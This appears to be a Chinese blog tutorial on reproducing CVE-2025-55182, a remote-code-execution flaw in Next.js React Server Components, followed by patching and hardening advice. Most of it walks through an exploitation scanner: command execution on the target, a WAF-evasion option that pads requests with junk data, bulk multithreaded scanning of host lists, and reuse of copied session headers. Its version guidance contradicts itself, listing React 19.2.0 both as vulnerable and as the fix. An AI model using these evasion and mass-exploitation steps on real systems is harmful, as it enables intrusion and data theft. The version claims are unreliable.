news 2026/7/4 13:50:41

手把手复现CVE-2025-55182:Next.js React Server Components远程代码执行漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手复现CVE-2025-55182:Next.js React Server Components远程代码执行漏洞

1. 项目概述

最近在安全圈里,一个名为“React2Shell”的漏洞(CVE-2025-55182)引起了不小的波澜。简单来说,这是一个影响特定版本Next.js应用(使用React Server Components)的远程代码执行漏洞。攻击者可以通过构造一个特殊的HTTP请求,就能在目标服务器上执行任意命令,危害等级非常高。我花了几天时间,从环境搭建到漏洞利用,完整地走了一遍复现流程,过程中踩了不少坑,也总结了一些实用的技巧。这篇文章,我就以一个安全研究者的视角,带你从零开始,手把手复现这个漏洞,并深入聊聊它的原理、影响范围以及在实际渗透测试中需要注意的细节。无论你是想了解这个漏洞的成因,还是想在自己的测试环境中验证它,这篇文章都能给你提供一份详实的参考。

2. 漏洞原理与影响范围深度解析

2.1 漏洞核心:React Server Components (RSC) 的序列化机制

要理解CVE-2025-55182,必须先搞懂React Server Components(RSC)是什么。传统的React组件在客户端(浏览器)渲染,而RSC允许部分组件在服务器端渲染,并将渲染结果序列化后发送给客户端。这个序列化/反序列化的过程,就是漏洞的根源。

在易受攻击的版本(Next.js 15.x, 16.x with App Router, React Core 19.0.0 - 19.2.0)中,react-server-dom-webpack这个用于处理RSC的bundler存在缺陷。当服务器处理一个特制的、包含恶意序列化数据的multipart/form-data请求时,其反序列化逻辑未能正确验证和过滤数据,导致攻击者可以注入并执行任意JavaScript代码。这本质上是一个服务端模板注入(SSTI)的变种,只不过发生在了React的RSC数据流里。

注意:这个漏洞的触发需要目标应用启用了React Server Components功能,并且通常是通过App Router定义的API路由或Server Actions来暴露的。一个普通的、没有使用RSC的Next.js页面是不会受影响的。

2.2 影响组件与版本精确定位

根据公开的POC和我的测试,受影响的组件版本范围非常具体,并不是所有React 19或Next.js 15的应用都中招:

  • Node.js: 作为运行环境,需要20.9.0 (LTS) 及以上版本。这是因为漏洞利用链依赖了高版本Node的某些特性或模块。
  • Next.js: 核心受影响的是15.x版本,以及16.x版本中使用了App Router的部分。使用旧的Pages Router的Next.js应用不受此漏洞影响。
  • React Core: 版本范围在19.0.0到19.2.0之间。React 18及以下版本,以及React 19.2.0之后的版本(如果已修复)是安全的。
  • RSC Bundler:react-server-dom-webpack的19.0.0到19.2.0版本。

这里有一个关键点:版本锁定。现代前端项目使用package-lock.jsonyarn.lock来锁定依赖树。即使你的package.json里写的是"next": "^15.0.0",实际安装的可能是已修复的15.0.1版。因此,复现时必须强制将环境降级到精确的漏洞版本。这也是为什么POC仓库里会使用npm install --force来覆盖锁文件,确保安装的是有问题的next@15.0.0react@19.0.0

2.3 攻击向量与潜在危害

攻击者如何利用这个漏洞?通常是通过向目标Next.js应用发送一个恶意的POST请求。这个请求会被应用作为RSC请求处理,触发漏洞。一旦利用成功,攻击者就获得了在应用服务器上执行操作系统命令的能力,也就是我们常说的RCE(Remote Code Execution)。

其危害不言而喻:

  1. 服务器完全沦陷:可以读取、修改、删除服务器上的任意文件。
  2. 窃取敏感数据:访问应用数据库连接信息、环境变量中的API密钥、用户会话数据等。
  3. 内网横向移动:以当前应用权限为跳板,攻击同一内网的其他服务。
  4. 部署持久化后门:在服务器上安装挖矿程序、勒索软件或留作长期控制的通道。

对于使用受影响版本且暴露在公网的企业级Next.js应用,这个漏洞是致命的。安全团队需要立即行动,排查和修复。

3. 复现环境搭建与踩坑实录

3.1 靶机环境准备:精准降级依赖

复现的第一步是搭建一个存在漏洞的Next.js应用。我直接使用了GitHub上开源的靶场环境。这里的关键不是写代码,而是把依赖“弄坏”。

# 1. 克隆靶场代码 git clone <靶场仓库地址> cd cve-2025-55182-target # 2. 强制安装漏洞版本依赖(关键步骤!) npm install --force

执行npm install --force时,你会看到大量警告和错误,这是正常的。因为我们在强制安装一个与当前Node或其他依赖可能不兼容的旧版本。忽略它们,我们的目标就是让环境“坏”在漏洞版本上。

安装完成后,必须验证:

npm list react next

你需要看到输出类似于:

next@15.0.0 react@19.0.0

如果显示的是更高版本(如next@15.0.1-canary.x),说明强制安装没成功,锁文件可能还在起作用。可以尝试删除node_modulespackage-lock.json后重试,或者手动在package.json中写死版本号再安装。

3.2 构建与运行靶机

环境锁定后,按标准流程构建和运行:

npm run build npm start

如果一切顺利,服务会运行在http://localhost:3000。打开浏览器访问,应该能看到一个正常的Next.js应用页面。靶机就绪了。

实操心得1:Node版本陷阱我最初在Node 18环境下操作,构建过程就报错了。这是因为漏洞依赖的RSC特性需要Node 20.9.0+。务必使用nvmfnm等工具切换Node版本。我推荐使用Node 20.9.0这个LTS版本,与漏洞环境最匹配。

nvm use 20.9.0 # 或 fnm use 20.9.0

3.3 扫描工具准备与配置

接下来准备攻击工具。我使用的是那个开源的react2shell-scanner,它集成了漏洞检测和RCE利用功能。

# 克隆扫描器 git clone <扫描器仓库地址> cd react2shell-scanner # 安装Python依赖 pip install -r requirements.txt

确保你的Python版本在3.9以上。工具依赖requeststqdm库。

实操心得2:虚拟环境隔离强烈建议在Python虚拟环境中操作,避免污染系统环境。

python -m venv venv source venv/bin/activate # Linux/Mac # venv\Scripts\activate # Windows pip install -r requirements.txt

4. 漏洞检测与利用实操详解

4.1 安全检测模式:不执行命令的验证

在真正执行命令之前,我们应该先用安全模式验证目标是否存在漏洞。这利用了漏洞触发的另一个特征:当接收到恶意载荷但未成功执行代码时,服务器会返回一个特定的500错误,并包含一个错误摘要(error digest)。

python3 scanner.py -u http://localhost:3000 --safe-check

使用--safe-check参数,扫描器会发送一个经过修改的、不会真正执行命令的探测载荷。如果目标存在漏洞,你会看到类似以下的输出:

[+] http://localhost:3000 - VULNERABLE (Safe Check)

这种方式非常“礼貌”,不会对目标服务器造成任何实际影响,适合在授权测试中初步确认漏洞存在。

4.2 RCE利用:执行系统命令

确认漏洞存在后,就可以尝试命令执行了。最基本的测试是执行一个简单的计算命令,这是公开POC使用的无害检测方式。

python3 scanner.py -u http://localhost:3000 -c "echo $((41*271))"

如果漏洞利用成功,扫描器会解析服务器的响应,并显示命令执行的结果:

[+] http://localhost:3000 - VULNERABLE [+] Command Output: 11111

看到11111(41*271的结果),就证明RCE通道打通了。此时,你可以尝试其他命令,比如查看当前目录:

python3 scanner.py -u http://localhost:3000 -c "ls -la"

或者查看系统信息:

python3 scanner.py -u http://localhost:3000 -c "uname -a"

4.3 利用过程深度拆解:请求与响应

为了更深入理解,我们打开扫描器的-v(verbose)模式,看看背后发生了什么。

python3 scanner.py -u http://localhost:3000 -c "id" -v

你会看到详细的HTTP请求和响应。关键点在于请求头请求体

  • 请求头Content-Type: multipart/form-data; boundary=...这是触发RSC处理的关键。
  • 请求体:包含了一个精心构造的multipart部分,其中封装了序列化的恶意RSC节点数据。攻击载荷(如id命令)被嵌入到这个序列化数据中。
  • 响应:成功时,命令执行的结果会出现在X-Action-Redirect这个响应头里,扫描器正是从这里提取回显。

核心原理补充:漏洞之所以能将命令结果回显到响应头,是因为Next.js/React在处理某些错误或重定向逻辑时,会将服务器端的一些信息放入X-Action-Redirect头。攻击者通过构造特定的对象,控制了被序列化并最终落入这个头部的数据,从而实现了“回显”。这是一种非常巧妙的利用方式。

4.4 针对Windows目标的利用

如果目标服务器是Windows系统,Unix shell命令(如ls,cat)会失效。扫描器提供了--windows参数来切换为PowerShell载荷。

python3 scanner.py -u http://windows-target.com --windows -c "whoami"

其内部会将命令从echo $((41*271))替换为powershell -c "41*271"

实操心得3:命令回显与空格处理在实战中,复杂的命令可能包含空格或特殊字符。在Unix环境下,确保命令被正确引用。如果命令执行后没有回显,可能是命令本身有输出,但格式不符合扫描器的解析规则。可以尝试使用简单的echo testpwd命令来测试通道是否通畅。对于Windows,PowerShell命令的引用规则更复杂,有时需要尝试-Command-EncodedCommand等多种方式。

5. 高级技巧与绕过防御实战

5.1 WAF绕过:添加垃圾数据

在实际的渗透测试或红队评估中,目标网站很可能部署了Web应用防火墙(WAF)。WAF会检查HTTP请求体,识别恶意模式。扫描器提供了--waf-bypass选项来尝试绕过。

python3 scanner.py -u https://target-with-waf.com --waf-bypass -c "ls"

这个参数的作用是在multipart请求体的最前面插入一大段随机垃圾数据(默认128KB)。有些WAF只检查请求体的前一部分(比如前几KB)以提升性能。当垃圾数据把恶意载荷“推”到检测窗口之后时,就可能绕过WAF。

你可以通过--waf-bypass-size调整垃圾数据的大小(单位KB):

python3 scanner.py -u https://target-with-waf.com --waf-bypass --waf-bypass-size 256 -c "ls"

注意:启用此选项后,请求会变得很大,超时时间会自动增加到20秒。如果网络环境较差,可能需要手动设置更长的--timeout

5.2 批量扫描与结果管理

面对大量资产,我们需要批量扫描。首先将目标URL整理到一个文本文件hosts.txt中,每行一个。

http://target1.com https://target2.com/api http://192.168.1.100:3000

然后使用扫描器的列表模式和多线程功能:

python3 scanner.py -l hosts.txt -t 20 -o results.json
  • -l hosts.txt: 指定目标列表文件。
  • -t 20: 使用20个并发线程,大幅提升扫描速度。
  • -o results.json: 将扫描结果(仅漏洞主机)保存为JSON文件,便于后续分析和报告。

如果想保存所有主机的扫描结果(无论是否有漏洞),可以加上--all-results参数。JSON结果里包含了完整的请求和响应信息,是写报告的有力证据。

5.3 自定义请求头处理

有些应用可能需要特定的HTTP头才能访问,比如认证令牌。

python3 scanner.py -u http://localhost:3000/api/protected -H "Authorization: Bearer eyJhbGciOi..." -H "X-Custom-Header: value" -c "id"

使用-H参数可以添加任意请求头。这对于测试需要登录后才能访问的接口至关重要。你可以通过浏览器开发者工具,复制下有效会话的Cookie或Authorization头,用于扫描器。

6. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御它。如果你正在维护可能受影响的Next.js应用,请立即采取以下措施:

6.1 紧急升级方案

这是最根本的解决方案。升级到已修复的版本。

  • Next.js: 升级到15.0.1-canary.94或更高版本。Next.js团队已在15.0.1的Canary通道中修复了此问题。对于生产环境,建议密切关注官方稳定版发布。
  • React: 升级到19.2.0或更高版本。
  • Node.js: 虽然Node本身不是漏洞点,但保持最新LTS版本(如20.x)是良好的安全实践。

升级后,务必彻底测试应用功能,确保兼容性。

6.2 临时缓解措施

如果因故无法立即升级,可以考虑以下缓解方案:

  1. 禁用或严格过滤RSC端点:检查你的Next.js应用(特别是App Router下的app/目录),审查所有可能处理用户输入的Server Actions或API路由。对输入进行严格的类型检查和过滤,避免直接将用户可控数据传入RSC序列化流程。
  2. 网络层防护
    • WAF规则:在WAF上部署规则,拦截包含multipart/form-data且内容疑似RSC序列化数据的请求到敏感路径。可以关注actionname等特定字段模式。
    • 反向代理过滤:在Nginx或Apache层面,对到达Next.js应用的请求体进行大小限制和初步的内容检查。
  3. 最小权限原则:运行Next.js应用的进程(如Node.js)应使用非root、低权限的用户。这样即使被RCE,攻击者能造成的破坏也有限。

6.3 安全开发规范

长远来看,预防此类漏洞需要改进开发习惯:

  • 依赖管理:使用npm audityarn audit定期检查依赖漏洞。考虑使用Snyk、Dependabot等工具自动化依赖更新和安全告警。
  • 输入验证:对所有用户输入,尤其是传递给服务器端组件(Server Components)或Server Actions的数据,实施严格的白名单验证。
  • 安全评审:在引入像RSC这样的新架构时,进行专门的安全威胁建模和代码评审,重点关注数据反序列化和边界信任问题。

7. 常见问题排查与解决

在复现和测试过程中,我遇到了不少问题,这里汇总一下:

问题1:扫描器报错ModuleNotFoundError: No module named 'requests'

  • 原因:Python依赖未安装。
  • 解决:在项目目录下执行pip install -r requirements.txt。确保在正确的Python虚拟环境中。

问题2:靶机构建失败,提示React版本错误或大量TypeScript错误

  • 原因:Node版本不对或依赖未成功降级。
  • 解决
    1. 确认Node版本为20.9.0+:node -v
    2. 删除node_modulespackage-lock.json(或yarn.lock)。
    3. package.json中显式指定漏洞版本:
      "dependencies": { "next": "15.0.0", "react": "19.0.0", "react-dom": "19.0.0" }
    4. 重新运行npm install --force

问题3:扫描器显示[-] http://localhost:3000 - NOT VULNERABLE,但确信环境已搭建好

  • 原因: a) 靶机服务未成功启动或监听在别的端口。 b) 靶机应用未启用React Server Components,或者请求路径不对。 c) 网络策略(如本地防火墙)阻止了连接。
  • 解决
    1. 用浏览器或curl访问http://localhost:3000,确认服务正常。
    2. 检查靶机应用是否有明确的RSC端点。有时需要访问特定的App Router页面(如/api下的路由)才能触发。可以尝试扫描http://localhost:3000/api/或应用的实际接口路径。
    3. 使用-v参数查看详细请求响应,看是否是40x或50x错误。

问题4:命令执行成功但无回显(输出为空)

  • 原因:执行的命令本身可能没有标准输出,或者输出被重定向了。
  • 解决:尝试使用有明确输出的命令:echo hellopwdwhoami。在Unix下,确保命令语法正确。在Windows下,尝试powershell -c "Write-Output 'test'"

问题5:使用--waf-bypass后扫描速度极慢或超时

  • 原因:添加了大量垃圾数据,请求体积变大,上传时间变长。
  • 解决:适当减小--waf-bypass-size(如改为64)。同时增加超时时间:--timeout 30

整个复现过程就像一次精密的外科手术,需要准确的环境、合适的工具和对漏洞原理的清晰认识。通过亲手搭建、攻击、再加固这个环境,我对Next.js和RSC的安全机制有了更深的理解。在云原生和前后端分离架构流行的今天,这类存在于“边缘”的漏洞(服务器端渲染、序列化)正变得越来越常见,也提醒我们安全左移和深度防御的重要性。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/4 13:49:48

张量运算与TAPP:现代计算的多维基石

1. 张量运算&#xff1a;从矩阵乘法到多维世界的基础操作在计算机科学和数学的交汇处&#xff0c;张量运算正悄然成为现代计算范式的核心。想象一下&#xff0c;当我们在处理一张黑白图片时&#xff0c;使用二维矩阵就足够了&#xff1b;但当我们面对彩色视频流时&#xff0c;就…

作者头像 李华
网站建设 2026/7/4 13:49:42

Windows生成SSH密钥实现Linux服务器免密登录完整指南

1. 项目概述&#xff1a;告别密码&#xff0c;拥抱密钥 如果你还在为每次连接Linux服务器都要输入一长串密码而烦恼&#xff0c;或者担心密码在网络上传输不够安全&#xff0c;那么是时候了解一下SSH密钥认证了。这几乎是每一位运维工程师、开发者和系统管理员都必须掌握的“生…

作者头像 李华
网站建设 2026/7/4 13:48:54

若依WMS仓库管理系统:企业级仓储管理的完整解决方案

若依WMS仓库管理系统&#xff1a;企业级仓储管理的完整解决方案 【免费下载链接】RuoYi-WMS-VUE 若依wms是一套基于若依的wms仓库管理系统&#xff0c;支持lodop和网页打印入库单、出库单。包括仓库/库区/货架管理&#xff0c;出入库管理&#xff0c;客户/供应商/承运商&#x…

作者头像 李华
网站建设 2026/7/4 13:48:34

基于YOLOv12的晶圆缺陷检测系统开发实践

1. 项目概述 在半导体制造领域&#xff0c;晶圆表面的微小缺陷直接影响着芯片的良率和性能。传统的人工检测方法不仅效率低下&#xff0c;而且容易受到主观判断的影响。作为一名长期从事工业视觉检测的工程师&#xff0c;我最近基于YOLOv12开发了一套完整的晶圆缺陷检测系统&am…

作者头像 李华
网站建设 2026/7/4 13:47:47

3步实现永久微信聊天备份:本地化智能分析完整指南

3步实现永久微信聊天备份&#xff1a;本地化智能分析完整指南 【免费下载链接】WeChatMsg 提取微信聊天记录&#xff0c;将其导出成HTML、Word、CSV文档永久保存&#xff0c;对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/WeChatMsg…

作者头像 李华
网站建设 2026/7/4 13:46:00

损失函数选择不是填空题:工业级AI建模的四维决策法

1. 项目概述&#xff1a;这不是一场“对错”之争&#xff0c;而是一次建模思维的现场解剖“How To Choose Your Loss Function — Where I Disagree With Cassie Kozyrkov”这个标题一出来&#xff0c;我就在笔记本上划了三道横线。不是因为火药味&#xff0c;而是因为它精准戳…

作者头像 李华